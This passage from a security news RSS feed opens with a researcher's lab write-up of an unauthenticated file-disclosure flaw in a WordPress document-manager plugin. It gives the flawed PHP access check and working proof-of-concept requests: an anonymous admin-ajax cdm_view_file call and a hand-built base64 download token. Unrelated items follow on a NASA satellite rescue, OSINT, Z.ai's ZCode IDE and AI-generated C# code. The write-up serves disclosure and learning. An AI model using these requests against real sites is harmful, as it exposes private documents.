environment-building process, and the honest reconciliation with prior art are the actual point of doing this work in public.</p><h3>Scope &amp; Method</h3><p>Parameter Detail Target SP Project &amp; Document Manager v4.71 (latest-stable, WordPress.org) Environment Local, isolated Docker stack — WordPress + MySQL 5.7 Assessment Type White-box source code audit + black-box PoC validation Authorization Self-authorized, isolated local research environment — no live targets Tools grep, MySQL CLI, Firefox DevTools (Network/Console), Docker Compose</p><h3>Phase 1: Source Identification</h3><p>I pulled the plugin directly from WordPress.org and started with the pattern I always check first on any plugin: unauthenticated AJAX surface.</p><pre>unzip sp-client-document-manager.latest-stable.zip -d sp-document<br>cd sp-document/sp-client-document-manager</pre><pre>grep -rn "wp_ajax_nopriv_" . --include="*.php"</pre><p>The scan returned eleven wp_ajax_nopriv_ registrations — endpoints reachable by anyone, logged in or not:</p><pre>./ajax.php:19:  wp_ajax_nopriv_cdm_file_permissions<br>./ajax.php:22:  wp_ajax_nopriv_cdm_folder_permissions<br>./ajax.php:25:  wp_ajax_nopriv_cdm_project_dropdown<br>./ajax.php:31:  wp_ajax_nopriv_cdm_file_info<br>./ajax.php:39:  wp_ajax_nopriv_cdm_view_file<br>./ajax.php:42:  wp_ajax_nopriv_cdm_file_list<br>./ajax.php:45:  wp_ajax_nopriv_cdm_thumbnails<br>./ajax.php:52:  wp_ajax_nopriv_cdm_add_breadcrumb<br>./ajax.php:56:  wp_ajax_nopriv_cdm_community_login<br>./ajax.php:62:  wp_ajax_nopriv_cdm_community_reset_password<br>./ajax.php:65:  wp_ajax_nopriv_cdm_community_register</pre><p>Two stood out immediately given what the plugin is for: cdm_view_file and cdm_file_list. A document manager plugin with unauthenticated file-viewing endpoints is exactly the kind of contradiction worth chasing.</p><h3>Phase 2: Root Cause Analysis</h3><p>Inside classes/ajax.php, the access gate for view_file() looked like this:</p><pre>function view_file($file_id = false) {<br>    global $wpdb, $current_user, $cdm_comments, $cdm_log, $post;<br>    ...<br>    $r = $wpdb-&gt;get_results($wpdb-&gt;prepare(<br>        "SELECT * FROM " . $wpdb-&gt;prefix . "sp_cu WHERE id = %d ORDER BY date DESC",<br>        $file_id<br>    ), ARRAY_A);</pre><pre>    if (cdm_folder_permissions($r[0]['pid']) == 1<br>        or $uid == $r[0]['uid']<br>        or current_user_can('manage_options') == true<br>        or get_option('sp_cu_release_the_kraken') == 1<br>        or !wp_verify_nonce( $_REQUEST['_ckey'], 'cdm-public-download' )) {</pre><pre>        if (current_user_can('manage_options') != true &amp;&amp; get_option('sp_cu_release_the_kraken') != 1) {<br>            if (($r[0]['pid'] == 0 &amp;&amp; $uid != $r[0]['uid'])) {<br>                return 'You do not have access to this file.';<br>            }<br>        }<br>        // ... builds and returns a download link for the file<br>    }<br>}</pre><p>The last clause of the OR chain is the bug: !wp_verify_nonce($_REQUEST['_ckey'], 'cdm-public-download'). wp_verify_nonce() returns false whenever the supplied nonce is missing or invalid — which is the <em>default</em> state for any unauthenticated visitor who was never issued one. Negating that result turns "no valid nonce" into true, and because it's OR-chained with every legitimate permission check above it, a single missing parameter overrides all of them.</p><p>The only thing standing between an anonymous visitor and a file is whether that file’s pid (parent folder ID) is 0. Files sitting at the document root are still protected by a secondary ownership check. Files inside any project folder are not.</p><h3>Phase 3: Building an Isolated Test Environment</h3><p>To validate this safely and reproducibly, I built a throwaway WordPress install rather than touching any live site.</p><pre>services:<br>  db:<br>    image: mysql:5.7<br>    command: --innodb-buffer-pool-size=128M --innodb-log-file-size=32M<br>    environment:<br>      MYSQL_ROOT_PASSWORD: rootpass123<br>      MYSQL_DATABASE: wordpress<br>      MYSQL_USER: wpuser<br>      MYSQL_PASSWORD: wppass123<br>    volumes:<br>      - db_data:/var/lib/mysql</pre><pre>  wordpress:<br>    image: wordpress:latest<br>    ports:<br>      - "8080:80"<br>    environment:<br>      WORDPRESS_DB_HOST: db:3306<br>      WORDPRESS_DB_NAME: wordpress<br>      WORDPRESS_DB_USER: wpuser<br>      WORDPRESS_DB_PASSWORD: wppass123<br>    volumes:<br>      - wp_data:/var/www/html</pre><pre>volumes:<br>  db_data:<br>  wp_data:</pre><pre>docker compose up -d</pre><p>After installing WordPress, I installed the plugin via the dashboard, embedded its shortcode on a page, created a project folder (“Client Project A”), and uploaded a synthetic test file containing the string Confidential client data - test — standing in for what a real document would contain.</p><h3>Phase 4: Proof of Concept</h3><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*6Q34zvUrSTxZ7jqy2M98-Q.png"></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*ZBk8HPEpG1tgtvWSwVPuiw.png"></figure><p>With a file sitting inside a project folder (File ID: #2, owner: admin, folder: Client Project A), I opened a private/incognito browser window — no cookies, no session, no prior interaction with the site — and requested:</p><pre>GET /wp-admin/admin-ajax.php?action=cdm_view_file&amp;id=2</pre><p>The response, completely unauthenticated:</p><pre>Download File<br>June 30, 2026 1:51 pm • File ID: #2</pre><pre>File Name: test2<br>File Owner: admin<br>Folder #1: Client Project A<br>File Type: txt<br>File Size: 32.00B<br>Notes: [internal note text]</pre><p>A working “Download File” link was included in the response. Clicking it, still from the same unauthenticated private session, retrieved the file in full:</p><pre>Confidential client data - test</pre><p>No login. No nonce. No interaction with the site prior to this single request. Full file metadata and full file content, for a document belonging to another user, inside a permission-scoped project folder — the exact scenario the plugin’s access control was designed to prevent.</p><p>As a control, I repeated the same request against a file sitting at the document root (pid = 0) rather than inside a project folder. That request correctly returned "You do not have access to this file." — confirming the secondary root-level ownership check works as intended, and that the vulnerability is specifically scoped to files inside project folders, which is the plugin's primary intended use case.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*eRqy36-Nd5Lxxtcet6NkrA.png"></figure><h3>A Second, Independent Code Path</h3><p>Before writing up a disclosure report, I went one step further and asked: even if view_file() is patched, is the download mechanism itself safe on its own?</p><p>The answer is no, under default configuration. download.php registers its own handler on the init hook, independent of view_file() entirely:</p><pre>add_action('init', array($cdm_download_file, 'download'), -100);</pre><pre>if ( (is_user_logged_in() &amp;&amp; get_option('sp_cu_user_require_login_download') == 1 )<br>     or (get_option('sp_cu_user_require_login_download') == '' or get_option('sp_cu_user_require_login_download') == 0 )){<br>    // ... all permission checks (folder permissions, ownership, nonce) live inside this block<br>}</pre><p>I confirmed via direct database query that sp_cu_user_require_login_download does not exist as a row in wp_options on a fresh install — meaning get_option() returns an empty string, which satisfies the second OR branch and skips every permission check inside the block entirely. This is not a misconfiguration; it's the plugin's default, untouched state.</p><p>To verify this independently of view_file(), I constructed a download token manually from raw database values, without ever calling the AJAX endpoint:</p><pre>TOKEN=$(echo -n "2|2026-06-30 13:51:34|secret-test1.txt" | base64 -w0)</pre><pre>GET /wp-admin/admin-ajax.php?cdm-download-file-id=MnwyMDI2LTA2LTMwIDEzOjUxOjM0fHNlY3JldC10ZXN0MS50eHQ=</pre><p>From a fresh private browsing session, this returned the complete file content directly as a download — confirming that download.php's authorization logic is independently bypassable, via a different hook (init, not admin-ajax action routing), a different file, and a different root cause from the view_file() issue above.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*qVqQyz8lLldvfIqJAEV-Qw.png"></figure><h3>The Reality Check</h3><p>Before drafting a disclosure report, I checked the WPScan and NVD databases for this plugin — a step I’d recommend before ever writing one line of a report, and one I almost skipped in the moment of having a fully working PoC.</p><p>The plugin has roughly twenty previously disclosed vulnerabilities. One of them, filed only weeks before this research, is <strong>CVE-2026–10737</strong>: a missing capability check on view_file(), at the same line of code, enabling unauthenticated attackers to obtain file metadata and download links for arbitrary files inside project folders.</p><p>It is the same bug. I had independently arrived at the same root cause someone else had already reported.</p><p>I want to be precise about what I’m claiming and what I’m not. The view_file() finding in Phase 2–4 above overlaps directly with CVE-2026-10737 and is not a new disclosure. The download.php finding in the section above it is a separate code path, separate file, and separate trigger mechanism — whether it warrants distinct tracking is a judgment call for the people who triage vulnerability reports, not something I'm in a position to assert unilaterally. I'm documenting it transparently rather than overstating its novelty.</p><h3>Attack Chain Summary</h3><pre>[Attacker — no credentials, no prior session]<br>        │<br>        ▼<br>[1] Identify unauthenticated AJAX surface via wp_ajax_nopriv_ grep<br>        │<br>        ▼<br>[2] Locate negated-nonce OR-chain bypass in view_file() access gate<br>        │<br>        ▼<br>[3] Confirm bypass scoped to files inside project folders (pid != 0)<br>        │<br>        ▼<br>[4] Request admin-ajax.php?action=cdm_view_file&amp;id=&lt;N&gt; — unauthenticated<br>    → Full file metadata + download link returned<br>        │<br>        ▼<br>[5] Independently confirm download.php's own auth gate is bypassed<br>    by default (unset sp_cu_user_require_login_download option)<br>        │<br>        ▼<br>[6] Construct download token manually, retrieve file directly<br>    → Full file content obtained, zero authentication, two independent paths</pre><h3>What This Taught Me</h3><p>A few things, none of which I expected to learn from a vulnerability that didn’t end in a new CVE:</p><p><strong>N-day overlap is normal, not a failure.</strong> Independently rediscovering a bug someone reported weeks earlier doesn’t mean the methodology was flawed — it means the bug was findable through a reasonable, repeatable process. That’s useful signal about both the plugin and the approach.</p><p><strong>Check existing databases before writing the report, not after.</strong> I now treat a WPScan/NVD lookup as a mandatory step before disclosure drafting begins, not an afterthought once a PoC is already polished.</p><p><strong>Distinguishing “same bug” from “adjacent bug” matters, and it’s not always obvious.</strong> The view_file() and download.php issues share a vulnerability class and a plugin, but live in different files, different hooks, and different trigger conditions. Being precise about that distinction — rather than inflating either finding's novelty — is part of doing this work honestly.</p><p><strong>The environment-building and validation process is the actual skill being practiced.</strong> Standing up an isolated Docker stack, tracing a vulnerable code path from an unauthenticated entry point to confirmed impact, building two independent PoCs, and writing them up accurately — that process transfers to the next audit regardless of whether this particular plugin yields a CVE with my name attached to it.</p><h3>Final Thoughts</h3><p>I’m 16, working through CRTA, Web-RTA, and the AD-RTS path toward OSCP, and this is one of many plugin audits I’ll run this year. Most won’t end in a new CVE — and I think that’s worth saying out loud rather than only publishing the wins. This one taught me more about doing security research honestly than it would have if I’d been first.</p><p><em>If you found this useful, feel free to connect on</em> <a href="https://linkedin.com/in/camalzads"><em>LinkedIn</em></a> <em>or check out my tools on</em> <a href="https://github.com/alisalive"><em>GitHub</em></a><em>.</em></p><p><em>All testing was conducted in an isolated, locally-hosted environment using a publicly available plugin release. No live or third-party systems were accessed at any point during this research.</em></p><img src="https://medium.com/_/stat?event=post.clientViewed&amp;referrerSource=full_rss&amp;postId=8a2d5ed61556" width="1" height="1" alt=""><hr><p><a href="https://infosecwriteups.com/i-found-an-unauthenticated-file-disclosure-bug-in-a-wordpress-plugin-then-found-out-i-was-a-few-8a2d5ed61556">I Found an Unauthenticated File Disclosure Bug in a WordPress Plugin — Then Found Out I Was a Few…</a> was originally published in <a href="https://infosecwriteups.com/">InfoSec Write-ups</a> on Medium, where people are continuing the conversation by highlighting and responding to this story.</p>]]></content:encoded>
</item>
<item>
<title><![CDATA[Raumfahrt: Nasa startet Rettung des Swift-Satelliten]]></title>
<description><![CDATA[Ein Nasa-Forschungssatellit gerät auf eine immer niedrigere Bahn. Eine Mission soll ihn retten und noch weitere Jahre im All sichern. (Nasa, Swift)]]></description>
<link>https://tsecurity.de/de/3643556/it-nachrichten/raumfahrt-nasa-startet-rettung-des-swift-satelliten/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3643556/it-nachrichten/raumfahrt-nasa-startet-rettung-des-swift-satelliten/</guid>
<pubDate>Fri, 03 Jul 2026 14:47:25 +0200</pubDate>
<category>📰 IT Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[Ein Nasa-Forschungssatellit gerät auf eine immer niedrigere Bahn. Eine Mission soll ihn retten und noch weitere Jahre im All sichern. (<a href="https://www.golem.de/specials/nasa/">Nasa</a>, <a href="https://www.golem.de/specials/swift/">Swift</a>) <img src="https://cpx.golem.de/cpx.php?class=17&amp;aid=210488&amp;page=1&amp;ts=1783082401" alt="" width="1" height="1">]]></content:encoded>
</item>
<item>
<title><![CDATA[NASA-Weltraumteleskop Swift: Rettungsmission nach Rekordvorbereitung gestartet]]></title>
<description><![CDATA[Das Neil Gehrels Swift Observatory sinkt zu schnell ab und würde bald abstürzen. Ein Raumschiff soll es deshalb wieder anheben und wurde jetzt gestartet.]]></description>
<link>https://tsecurity.de/de/3643429/it-nachrichten/nasa-weltraumteleskop-swift-rettungsmission-nach-rekordvorbereitung-gestartet/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3643429/it-nachrichten/nasa-weltraumteleskop-swift-rettungsmission-nach-rekordvorbereitung-gestartet/</guid>
<pubDate>Fri, 03 Jul 2026 13:47:59 +0200</pubDate>
<category>📰 IT Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[Das Neil Gehrels Swift Observatory sinkt zu schnell ab und würde bald abstürzen. Ein Raumschiff soll es deshalb wieder anheben und wurde jetzt gestartet.]]></content:encoded>
</item>
<item>
<title><![CDATA[When Private Events Become Public Infrastructure: What Celebrity OSINT Teaches Security Leaders]]></title>
<description><![CDATA[Long before anyone confirmed where and when Taylor Swift and Travis Kelce’s wedding would be, thousands of fans believed they already knew. This is open-source intelligence (OSINT) in its most ordinary form.]]></description>
<link>https://tsecurity.de/de/3642816/it-security-nachrichten/when-private-events-become-public-infrastructure-what-celebrity-osint-teaches-security-leaders/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3642816/it-security-nachrichten/when-private-events-become-public-infrastructure-what-celebrity-osint-teaches-security-leaders/</guid>
<pubDate>Fri, 03 Jul 2026 08:08:31 +0200</pubDate>
<category>📰 IT Security Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[Long before anyone confirmed where and when Taylor Swift and Travis Kelce’s wedding would be, thousands of fans believed they already knew. This is open-source intelligence (OSINT) in its most ordinary form.]]></content:encoded>
</item>
<item>
<title><![CDATA[Z.ai launches ZCode to challenge Cursor, Claude Code and GitHub Copilot in AI coding]]></title>
<description><![CDATA[Z.ai, the Beijing-based artificial intelligence lab formerly known as Zhipu AI, on Wednesday officially launched ZCode, a free desktop application it describes as an "Agentic Development Environment" purpose-built for its flagship GLM-5.2 large language model. The move marks the company's most ag...]]></description>
<link>https://tsecurity.de/de/3640860/it-nachrichten/zai-launches-zcode-to-challenge-cursor-claude-code-and-github-copilot-in-ai-coding/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3640860/it-nachrichten/zai-launches-zcode-to-challenge-cursor-claude-code-and-github-copilot-in-ai-coding/</guid>
<pubDate>Thu, 02 Jul 2026 13:01:57 +0200</pubDate>
<category>📰 IT Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<p><a href="http://z.ai/">Z.ai</a>, the Beijing-based artificial intelligence lab formerly known as Zhipu AI, on Wednesday officially launched <a href="https://zcode.z.ai/">ZCode</a>, a free desktop application it describes as an "Agentic Development Environment" purpose-built for its flagship <a href="https://z.ai/blog/glm-5.2">GLM-5.2</a> large language model. The move marks the company's most aggressive push yet into the fast-growing AI-powered coding tool market, where it now competes directly with <a href="https://cursor.com/get-started">Cursor</a>, <a href="https://www.anthropic.com/product/claude-code">Claude Code</a>, <a href="https://github.com/features/copilot">GitHub Copilot</a>, and <a href="https://antigravity.google/">Google's Antigravity</a>.</p><p>"Introducing ZCode, the official development environment for GLM-5.2," the company wrote on X, noting the tool is available on macOS, Windows, and Linux, supports bring-your-own-key (BYOK) configurations for third-party models, and offers a 1.5x usage-quota bonus for subscribers to its GLM Coding Plan.</p><p>Read one way, <a href="https://zcode.z.ai/">ZCode</a> is simply another entrant in a crowded market. Read another, it is a single product that crystallizes three of the most consequential trends in enterprise software today: the race-to-the-bottom pricing of frontier AI models, the geopolitical balkanization of the AI stack, and the rapid maturation of agentic coding agents into what Gartner now estimates is a <a href="https://enterprisedna.co/resources/news/gartner-enterprise-ai-coding-agents-10-billion-market-2026/">roughly $10 billion market</a>.</p><div></div><h2><b>An AI coding tool designed to think in projects, not prompts</b></h2><p>Unlike traditional IDEs that bolt on AI through a chat sidebar or autocomplete extension, <a href="https://zcode.z.ai/">ZCode</a> is best understood as an agent-first development environment. Its core design is built around long-horizon tasks: the user describes an outcome, the agent plans the work, edits files, runs checks, reviews progress, and continues across multiple iterations until the goal is met.</p><p><a href="https://zcode.z.ai/">ZCode</a> organizes the development experience around the <a href="https://zcode.z.ai/en">ZCode Agent</a>, deeply tuned for <a href="https://z.ai/blog/glm-5.2">GLM-5.2</a>, with emphasis on deep integration: the model, tools, and execution workflow are tuned together so the Agent fits continuous, multi-step real-world development tasks. The environment supports continuous follow-up across devices: desktop, mobile Remote, and Feishu / WeChat Bot can all keep the same workspace task moving. Sensitive commands, file changes, and high-permission actions go through confirmation before execution.</p><p>That remote-control feature — the ability to steer a running coding agent from <a href="https://www.wechat.com/en">WeChat</a>, <a href="https://baike.baidu.com/en/item/Feishu/14594">Feishu</a>, or <a href="https://web.telegram.org/">Telegram</a> on a phone — is a differentiator that speaks directly to the Chinese developer market, where those messaging platforms dominate professional communication. You can keep checking progress and adding instructions while long-running work continues, from any device with these messaging apps.</p><p>The tool is free to download. Revenue flows through Z.ai's <a href="https://z.ai/subscribe">GLM Coding Plan subscription tiers</a>, which start at $16.20 per month for a "Lite" plan and scale to $144 per month for "Max" — prices that undercut Anthropic's Claude Code and Cursor's comparable tiers by significant margins.</p><p>Through July 31, <a href="https://zcode.z.ai/">ZCode</a> is offering a promotional 1.5x effective quota bonus for Coding Plan subscribers, with off-peak token consumption charged at a 0.67x coefficient. The platform also supports multiple AI models and agents, including Claude Code, Codex, Gemini, and OpenCode — a pragmatic concession to the reality that no single model wins every task.</p><h2><b>GLM-5.2, the open-source model trained entirely on Chinese chips, powers the whole experience</b></h2><p>ZCode's value proposition is inseparable from <a href="https://z.ai/blog/glm-5.2">GLM-5.2</a>, the model it was designed to showcase. Z.ai released GLM-5.2 on June 16, first to its Coding Plan subscribers and subsequently as open-source weights under the MIT license on <a href="https://huggingface.co/zai-org/GLM-5">Hugging Face</a> — a sequencing decision that prioritized distribution over the traditional benchmark-led launch.</p><p>The model's specifications are formidable. GLM-5.2 is a 744-billion-parameter mixture-of-experts architecture with 40 billion active parameters, a genuine one-million-token context window — five times the 200K limit on its predecessor — and training on 28.5 trillion tokens. It ranked second globally on <a href="https://arena.ai/leaderboard/code/webdev">Code Arena </a>as of mid-June, trailing only Anthropic's Claude Fable 5, making it one of the highest-performing publicly available models for coding tasks.</p><p>Critically, the model was built entirely without American chips. As Decrypt reported, GLM-5.2 "<a href="https://decrypt.co/371613/china-z-ai-glm-5-2-model-rivals-claude-opus">runs entirely on Huawei silicon</a>." Stability AI founder Emad Mostaque estimated total training costs at roughly $25 million, with 80 percent spent on post-training — a figure that, if accurate, would make GLM-5.2 extraordinarily cheap relative to Western frontier models.</p><p>On benchmarks, <a href="https://z.ai/blog/glm-5.2">GLM-5.2</a> performs within striking distance of the best proprietary systems. It trails Anthropic's Claude Opus 4.8 by just one percentage point on <a href="https://www.frontierswe.com/">FrontierSWE</a>, a benchmark measuring multi-hour autonomous engineering projects, while edging out OpenAI's <a href="https://openai.com/index/introducing-gpt-5-5/">GPT-5.5</a>. </p><p>Its API pricing — $1.40 per million input tokens and $4.40 per million output — are a cost reduction of up to 82 percent compared to Anthropic's Claude Opus 4.8 at $5 and $25, respectively. Because ZCode is a first-party tool from the same company that makes the model, it requires no manual endpoint configuration — the model is wired in.</p><h2><b>The Anthropic export ban gave Chinese AI its biggest opening yet</b></h2><p>ZCode's arrival cannot be separated from the geopolitical drama that has roiled the AI industry over the past three weeks. On June 12, the U.S. government, <a href="https://www.reuters.com/technology/us-blocks-foreign-access-anthropics-most-advanced-ai-models-axios-reports-2026-06-13/">citing national security authorities</a>, issued an export control directive suspending all access to Anthropic's Fable 5 and Mythos 5 models by any foreign national, whether inside or outside the United States, including foreign national Anthropic employees. Enterprise clients in finance, healthcare, SaaS, and critical infrastructure found their core intelligence services abruptly disabled, without exception, prior warning, or effective recourse.</p><p>While the Trump administration <a href="https://www.cnbc.com/2026/06/30/anthropic-says-trump-admin-has-lifted-export-controls-on-claude-fable-5-and-mythos-5.html">lifted those controls just yesterday</a> — Anthropic confirmed on June 30 that the Department of Commerce had rescinded the directive — the episode sent shockwaves through the developer community and accelerated interest in open-source, self-hostable alternatives. The government's crackdown on Anthropic coincided with a swift rise in Chinese open-source models that are proving to be almost as capable and significantly cheaper than some of the most powerful U.S. models.</p><p>Z.ai's timing was surgical. On the same day the Trump administration ordered Anthropic's most advanced models blocked for foreign nationals, Zhipu announced the <a href="https://z.ai/blog/glm-5.2">open-source release of GLM-5.2</a> with no usage restrictions. The <a href="https://www.scmp.com/tech/article/3343239/chinas-zhipu-ai-launches-new-major-model-glm-5-challenge-its-rivals">South China Morning Post reported </a>that GLM-5.2 would be available to all users of Zhipu's new GLM Coding Plan subscription, "priced at just a tenth of Anthropic's premium Claude Code and Claude Max tiers."</p><p>The market responded accordingly. Zhipu AI's market capitalization crossed HK$1 trillion (<a href="https://www.scmp.com/tech/article/3357858/zhipu-ai-market-cap-tops-hk1-trillion-shares-glm-52-developer-soar">US$128 billion</a>) on June 22, driven by a 42 percent intraday share surge. JPMorgan raised its 2026–2030 revenue forecast for Zhipu by between 7 and 16 percent following the launch, projecting an over 534 percent revenue surge for 2026 and expecting the AI firm to turn a profit by 2028.</p><h2><b>Why vendor lock-in now carries a geopolitical risk that no SLA can cover</b></h2><p>The <a href="https://venturebeat.com/technology/anthropic-is-bringing-back-claude-fable-5-globally-after-us-lifts-export-control-order-where-can-enterprises-access-it">Fable 5 episode</a> did more than embarrass Anthropic. It introduced a new risk category into enterprise AI procurement: sovereign access risk. When a government can disable a commercially deployed AI model overnight, the traditional evaluation criteria of developer experience, benchmark scores, and pricing become secondary to a more fundamental question: Will this tool still work tomorrow?</p><p>The event exposed the inadequacy of standard enterprise contract language. An investigation by <a href="https://www.fifthrow.com/blog/us-export-control-order-and-global-suspension-of-fable-5-mythos-5-operationalizing-compliance-as-a">FifthRow</a> found that almost all standard Data Processing Addenda, SaaS agreements, and procurement SLAs "relied on vague 'force majeure' or 'compliance with law' catch-alls, not on precise, actionable regulatory suspension or kill-switch clauses."</p><p>ZCode's <a href="https://aiidelist.com/ide/zcode">BYOK architecture </a>and <a href="https://z.ai/blog/glm-5.2">GLM-5.2</a>'s MIT-licensed open weights offer a partial answer. A development team can download the model, host it on its own infrastructure, and run ZCode against it without ever touching Z.ai's cloud — eliminating both American export-control risk and Chinese data-sovereignty concerns in a single move. The catch is that anyone using Z.ai's cloud API remains subject to Chinese law, a consideration that evaporates only with pure self-hosting.</p><p>Gartner analysts <a href="https://news.creeta.com/en/gartner-enterprise-ai-coding-agents-2026/">have warned</a> that governance, pricing, support, workflows, commercial maturity, and market durability matter as much as developer experience and model capabilities when evaluating coding agent vendors for enterprise-wide adoption. By that measure, ZCode faces a steep climb. It is not open source itself; Linux support remains in beta; and security reviewers have flagged the need for careful evaluation of its credential handling, particularly for remote development over SSH and messaging-platform-triggered tasks — an agent that can be summoned from WeChat involves access paths that should be mapped before trusting it with anything sensitive.</p><h2><b>Inside the $10 billion race where model labs are becoming full-stack IDE companies</b></h2><p><a href="https://zcode.z.ai/">ZCode</a> enters one of the most crowded and fastest-moving markets in enterprise software. Enterprise AI coding agents are capturing a growing share of enterprise software engineering spend, with the market estimated at roughly $9.8 billion to $11.0 billion annualized as of April 2026, according to <a href="https://enterprisedna.co/resources/news/gartner-enterprise-ai-coding-agents-10-billion-market-2026/">Gartner</a>. A defining shift this year, the analyst firm noted, is "the movement of frontier model providers into direct competition with application-layer vendors" — precisely the pattern ZCode embodies.</p><p>Gartner codified this evolution in May when it <a href="https://openai.com/index/gartner-2026-agentic-coding-leader/">renamed its annual Magic Quadrant</a> from "AI Code Assistants" to "Enterprise AI Coding Agents," defining the category as "autonomous or semiautonomous software engineering solutions that perceive context, translate human intent into multistep plans, and execute and verify those steps across code, tests and related engineering artifacts." The 2026 Magic Quadrant names Anthropic, Cursor, GitHub, and OpenAI as Leaders. Z.ai was not among the 12 vendors evaluated — an absence that underscores both the company's nascent enterprise sales presence outside China and the Western-centric lens through which the analyst community still views the market.</p><p>The competitive landscape is daunting. Cursor is the <a href="https://www.bloomberg.com/news/articles/2026-03-02/cursor-recurring-revenue-doubles-in-three-months-to-2-billion">$2 billion ARR IDE</a> that feels like VS Code with a supercharger. Claude Code reached <a href="https://www.anthropic.com/news/anthropic-raises-30-billion-series-g-funding-380-billion-post-money-valuation">approximately $2.5 billion</a> in annualized revenue by early 2026. Google relaunched <a href="https://blog.google/innovation-and-ai/technology/developers-tools/google-io-2026-developer-highlights/">Antigravity 2.0</a> at I/O in May, and Cognition retired the Windsurf brand, relaunching the IDE as <a href="https://devin.ai/desktop/">Devin Desktop</a> with the Agent Command Center as the default surface.</p><p>Against these entrenched players, ZCode's pitch rests on three pillars: deep first-party integration with GLM-5.2 that no third-party editor can replicate, aggressive pricing that starts at a fraction of Western competitors, and MIT-licensed open weights that allow enterprises to self-host — eliminating the regulatory kill-switch risk that the Fable ban made viscerally real.</p><h2><b>Z.ai's real challenge is turning a $128 billion valuation into a global developer tools business</b></h2><p><a href="http://z.ai/">Z.ai</a> controls the model (<a href="https://z.ai/blog/glm-5.2">GLM-5.2</a>), the subscription layer (<a href="https://z.ai/subscribe">the GLM Coding Plan</a>), and the IDE (<a href="https://zcode.z.ai/">ZCode</a>) — a tightly coupled stack that optimizes for performance but concentrates switching costs. For the company, the business logic is clear. Its most reliable revenue stream has been on-premises deployments for Chinese government agencies, state-owned banks, and energy conglomerates. In full-year 2025, on-premises deployment revenue reached RMB 534 million, growing over 100 percent year-over-year and accounting for 73.7 percent of total revenue with a gross margin of 48.8 percent. ZCode and the GLM Coding Plan represent the company's bid to build a comparable revenue engine in cloud-based developer tools — globally, not just in China.</p><p>The early signals are encouraging for <a href="http://z.ai/">Z.ai</a>, if anecdotal. Community reception on X was enthusiastic, with one early user calling the tool "super stable" and others clamoring for more Coding Plan capacity. "Bro, can't snag your family's Coding Plan? When are you gonna stock up on more cards?" <a href="https://x.com/realchendahuang/status/2072361920976593163">one user wrote in Chinese</a>, suggesting demand is already outstripping supply.</p><p>But the hard questions loom large. Can a Chinese AI company build trust with Western enterprise buyers amid escalating technology tensions? Can ZCode's ecosystem mature fast enough to compete with Cursor's polished UX, Claude Code's deep agent primitives, and GitHub Copilot's unmatched distribution? And can Z.ai sustain a company valued at $128 billion while still losing money? </p><p>What is no longer in question is the competitive dynamic itself. Three weeks ago, a U.S. government directive proved that access to the world's best coding model can vanish overnight. Today, a Chinese lab is shipping a free IDE, an open-source model trained on zero American chips, and a subscription plan that costs less per month than a single lunch in Manhattan. The AI coding agent market did not just become global this summer. It became a market where the fallback option might be better than the thing it's falling back from — and that changes the calculus for every engineering leader choosing a toolchain in the second half of 2026.</p><p>
</p>]]></content:encoded>
</item>
<item>
<title><![CDATA[Best practices for using AI to generate C# code]]></title>
<description><![CDATA[AI-powered software development tools integrate with your IDE and codebase, helping you to write, refactor, and fix code faster. These tools also make it fast and easy to create and run unit tests and integration tests — tasks that take more time when done manually.



Today, .NET developers ofte...]]></description>
<link>https://tsecurity.de/de/3640601/ai-nachrichten/best-practices-for-using-ai-to-generate-c-code/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3640601/ai-nachrichten/best-practices-for-using-ai-to-generate-c-code/</guid>
<pubDate>Thu, 02 Jul 2026 11:04:37 +0200</pubDate>
<category>🔧 AI Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<div>
		<div class="grid grid--cols-10@md grid--cols-8@lg article-column">
					  <div class="col-12 col-10@md col-6@lg col-start-3@lg">
						<div class="article-column__content">
<section class="wp-block-bigbite-multi-title"><div class="container"></div></section>



<p>AI-powered software development tools integrate with your IDE and codebase, helping you to write, refactor, and fix code faster. These tools also make it fast and easy to create and run unit tests and integration tests — tasks that take more time when done manually.</p>



<p>Today, .NET developers often use <a href="https://www.infoworld.com/article/3609013/github-copilot-everything-you-need-to-know.html" data-type="link" data-id="https://www.infoworld.com/article/3609013/github-copilot-everything-you-need-to-know.html">GitHub Copilot</a>, <a href="https://www.infoworld.com/article/4136718/claude-code-is-blowing-me-away.html" data-type="link" data-id="https://www.infoworld.com/article/4136718/claude-code-is-blowing-me-away.html">Claude Code</a>, Cursor AI, and even AI chatbots like ChatGPT to generate code. In this article, we’ll cover some best practices you should follow when using AI to generate your C# code.</p>



<h2 class="wp-block-heading">Challenges of using AI-generated code</h2>



<p>While AI can write code for you, often the generated code does not work as intended. AI may generate code that contains logic errors, bugs, or security vulnerabilities, or code that doesn’t conform to your organization’s coding conventions or quality standards, or code that isn’t compatible with existing architecture. Further, AI may generate code that runs slowly or fails to run at all.</p>



<p>These are some of the key challenges organizations face when using AI-generated code in production:</p>



<ul class="wp-block-list">
<li>Inconsistency: The quality of AI-generated code can vary widely because the same generative AI prompt can produce different results, making it impossible to trust the code until it has been reviewed.</li>



<li>Security: The potential for AI-generated code to generate insecure code is significant, because models are trained on open-source code that contains security vulnerabilities including weak/unsafe validation, injection patterns, hard-coded secrets, memory safety issues, and outdated dependencies.</li>



<li>Accountability: AI-generated code often creates an accountability gap because organizations find they have limited visibility into how AI-assisted code was generated, approved, and tested.</li>



<li>Contextual concerns: Because your AI-powered tool may not have access to project-specific conventions, abstractions, or business rules, the code it generates may not conform to the standards of your organization’s codebase.</li>



<li>Overengineering: AI models can produce large amounts of unnecessary code and create additional layers of abstraction, making the code more complex and more difficult to understand and maintain.</li>



